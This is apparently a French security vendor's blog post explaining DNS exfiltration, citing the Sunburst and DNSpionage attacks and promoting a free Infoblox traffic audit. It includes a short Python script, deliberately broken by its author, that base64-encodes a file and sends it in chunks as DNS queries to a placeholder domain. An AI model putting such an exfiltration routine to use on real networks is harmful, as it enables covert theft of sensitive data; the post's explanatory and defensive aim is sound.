L'exfiltration DNS est une méthode sophistiquée utilisée par les attaquants pour extraire discrètement des données sensibles d'un réseau compromis en utilisant le protocole DNS. Contrairement à d'autres méthodes d'exfiltration de données, comme par exemple l'utilisation de protocoles de communication traditionnels, l'exfiltration DNS exploite le trafic DNS existant pour transférer les informations volées.
Le processus d'exfiltration DNS commence par l'encodage des données sensibles dans un format approprié pour être incluses dans les requêtes DNS. Les données encodées sont ensuite divisées en morceaux plus petits, appelés "subdomaines", afin de respecter les limites de longueur des requêtes DNS.
Chaque morceau de données est ensuite utilisé comme préfixe pour créer une requête DNS. Par exemple, si un morceau est "abcd", la requête DNS correspondante peut être construite comme "abcd.example.com", où "example.com" est le domaine utilisé pour l'exfiltration.
Les attaquants envoient ces requêtes DNS contenant les morceaux de données à un serveur DNS qu'ils contrôlent ou qui est compromis à cette fin. Le serveur DNS extrait les données des requêtes, les reconstitue pour recréer les informations originales et peut éventuellement fournir des réponses DNS contenant des instructions supplémentaires ou des données à destination du système compromis.
Difficile à détecter
L'exfiltration DNS est souvent considérée comme une technique d'exfiltration de données discrète et efficace pour les hackers en raison de plusieurs facteurs :
Protocole largement utilisé : le DNS est un protocole omniprésent sur Internet et est généralement autorisé à travers les pare-feu et autres dispositifs de sécurité réseau, car il est essentiel pour les opérations normales d'un réseau. Cela facilite l'utilisation du DNS pour des activités malveillantes, notamment l'exfiltration de données, sans éveiller immédiatement les soupçons.
Comme il est avéré que le trafic DNS est courant et souvent volumineux, il peut être difficile pour les systèmes de sécurité de distinguer les requêtes DNS malveillantes des requêtes légitimes.
Trafic chiffré : les requêtes DNS peuvent être utilisées pour cacher les données exfiltrées en les encodant ou en les chiffrant avant de les incorporer dans les requêtes DNS. Cela rend difficile la détection du contenu réel des requêtes DNS malveillantes, car elles peuvent sembler être des requêtes DNS normales.
Canaux de communication bidirectionnels : le DNS permet d'établir des communications bidirectionnelles entre un système compromis et le serveur de commande et de contrôle d'un attaquant. Cela signifie que les hackers peuvent utiliser les réponses DNS pour transmettre des commandes et des instructions à un système compromis, facilitant ainsi la manipulation et le contrôle du système distant.
Mon entreprise est-elle protégée ?
En partenariat avec Infoblox, Nomios propose un audit gratuit de 30 jours. Non intrusif, vous devez tout simplement envoyer une copie de votre trafic. Cette copie sera analysée par Infoblox et un rapport vous sera envoyé.
Pour en savoir plus et vous inscrire :
https://www.nomios.fr/partenaires/infoblox/dns-securise/analyse-securite-infoblox/
Est-ce simple d’exfiltrer des données ?
Voici l’exemple d’un script Python légèrement modifié afin qu’il ne soit pas utilisable tel quel.
Ce script découpe le contenu du fichier spécifié en petits morceaux de taille chunk_size et les encode en base64. Ensuite, il envoie chaque morceau dans une requête DNS en utilisant un nom de domaine préfixé par chaque morceau.
import base64
import socket
# Paramètres de connexion DNS
dns_server = "8.8.8.8" # Serveur DNS à utiliser
dns_port = 53 # Port DNS
# Chemin vers le fichier à exfiltrer
file_path = "chemin/vers/fichier"
# Taille des morceaux de fichier à envoyer
chunk_size = 500
def exfiltrate_dns(data):
encoded_data = base64.b64encode(data.encode()).decode()
parts = [encoded_data[i:i+chunk_size] for i in range(0, len(encoded_data), chunk_size)]
for part in parts:
query = part - ".example.com" # Utiliser votre nom de domaine
try:
# Créer une socket UDP
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(query.encode(), (dns_server, dns_port))
response, _ = sock.recvfrom(4096)
print("Exfiltration réussie : " + query)
except socket.error as e:
print("Échec de l'exfiltration : " + str(e))
finally:
sock.close()
with open(file_path, "r") as file:
file_contents = file.read()
exfiltrate_dns(file_contents)
Exemples d'attaques connues basées sur l'exfiltration DNS
Sunburst (ou Solorigate) : cette attaque sophistiquée a été découverte en décembre 2020 et a ciblé la société de sécurité informatique SolarWinds. Les attaquants ont utilisé une technique d'exfiltration DNS pour communiquer avec les serveurs de commande et de contrôle. Les données sensibles étaient cachées dans les requêtes DNS sortantes, ce qui a permis aux attaquants de maintenir une communication furtive avec les systèmes compromis.
DNSpionage : découverte en novembre 2018, cette attaque ciblait principalement des organisations du Moyen-Orient. Les attaquants ont utilisé des logiciels malveillants pour exfiltrer des données sensibles en les cachant dans des requêtes DNS sortantes. Ils ont également manipulé les enregistrements DNS pour rediriger le trafic vers des serveurs compromis.
https://www.cert-ist.com/public/fr/SO_detail?format=html&code=dnspionage
Contactez nos experts en sécurité
Notre équipe est disponible pour un appel rapide ou une réunion vidéo. Établissons le contact et discutons de vos défis en matière de sécurité, plongeons dans les rapports de comparaison entre fournisseurs, ou parlons de vos projets informatiques à venir. Nous sommes là pour vous aider.
Romain Bren
Nomios Paris